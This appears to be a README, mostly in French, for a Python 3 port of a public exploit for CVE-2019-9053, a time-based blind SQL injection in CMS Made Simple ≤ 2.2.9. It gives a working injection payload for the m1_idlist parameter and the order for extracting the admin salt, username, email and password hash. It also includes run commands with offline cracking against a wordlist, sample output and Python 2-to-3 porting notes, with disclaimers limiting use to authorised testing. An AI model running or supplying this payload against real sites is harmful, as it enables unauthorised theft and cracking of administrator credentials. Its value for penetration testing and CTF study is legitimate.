
Exploitation d'injection SQL aveugle basée sur le temps non authentifiée pour CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portée en Python 3.
Avertissement : Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives. L'utiliser contre des systèmes sans autorisation écrite explicite est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Il s'agit d'un portage en Python 3 de l'exploit public pour CVE-2019-9053 — une vulnérabilité non authentifiée d'injection SQL aveugle basée sur le temps dans CMS Made Simple ≤ 2.2.9.
Le paramètre vulnérable est m1_idlist sur le point de terminaison /moduleinterface.php (module News). L'entrée utilisateur est transmise sans échappement dans une requête SQL, permettant à un attaquant non authentifié d'extraire le sel admin, le nom d'utilisateur, l'email et le hash du mot de passe — et éventuellement de casser le mot de passe hors ligne.
Exploit original par Daniele Scanu @ Certimeter Group.
Portage en Python 3 avec corrections et nettoyage.
L'exploit utilise un oracle temporel — il injecte SELECT sleep(T) dans une condition SQL LIKE et mesure le temps de réponse HTTP. Si le serveur bloque pendant ≥ T secondes, la condition injectée était vraie. Cela permet d'extraire les données un caractère à la fois sans qu'aucune donnée n'apparaisse jamais dans le corps de la réponse HTTP.
Payload structure:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
Ordre d'extraction :
| Étape | Champ | Table | Remarques |
|---|---|---|---|
| 1 | Sel | cms_siteprefs | Requis pour casser le mot de passe |
| 2 | Nom d'utilisateur | cms_users | user_id = 1 (admin) |
| 3 | cms_users | user_id = 1 (admin) | |
| 4 | Mot de passe | cms_users | Stocké sous forme MD5(sel + mot de passe) |
Après extraction, une attaque par dictionnaire hors ligne facultative calcule MD5(sel + mot) à partir d'une liste de mots — aucune autre requête réseau nécessaire.
Le script original était écrit pour Python 2. Les changements cassants suivants ont été corrigés :
| # | Changement | Raison |
|---|---|---|
| 1 | print "..." → print("...") | print est une fonction en Python 3 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() nécessite bytes en Python 3 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict masque une fonction intégrée ; passage au gestionnaire de contexte |
| 4 | print "\033c" → print("\033c", end="") | Évite un double saut de ligne lors de l'effacement du terminal |
| 5 | print colored(...) → print(colored(...)) | colored() renvoie une chaîne ; nécessite un wrapper print() |
pip3 install requests termcolor
| Dépendance | Objectif |
|---|---|
requests | Requêtes HTTP vers la cible |
termcolor | Sortie terminal colorée |
# Basic extraction (no password cracking)
python3 exploit.py -u http://<target-ip>/simple
# Extraction + offline password cracking
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| Option | Description |
|---|---|
-u, --url | URL de base de l'installation de CMS Made Simple |
-w, --wordlist | Chemin vers une liste de mots pour le cassage de mot de passe hors ligne |
-c, --crack | Activer le mode de cassage de mot de passe |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2019-9053 |
| Score CVSS | 7.5 (Élevé) |
| Type | Injection SQL aveugle basée sur le temps non authentifiée |
| Affecte | CMS Made Simple ≤ 2.2.9 |
| Paramètre | m1_idlist dans le module News |
| Authentification nécessaire | Aucune |
| Correctif | CMS Made Simple 2.2.10+ |
Cet exploit est fourni uniquement pour les tests de pénétration autorisés et les CTF/à des fins éducatives.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test est une infraction pénale en vertu de l'IT Act, 2000 (Inde) et des lois équivalentes dans le monde.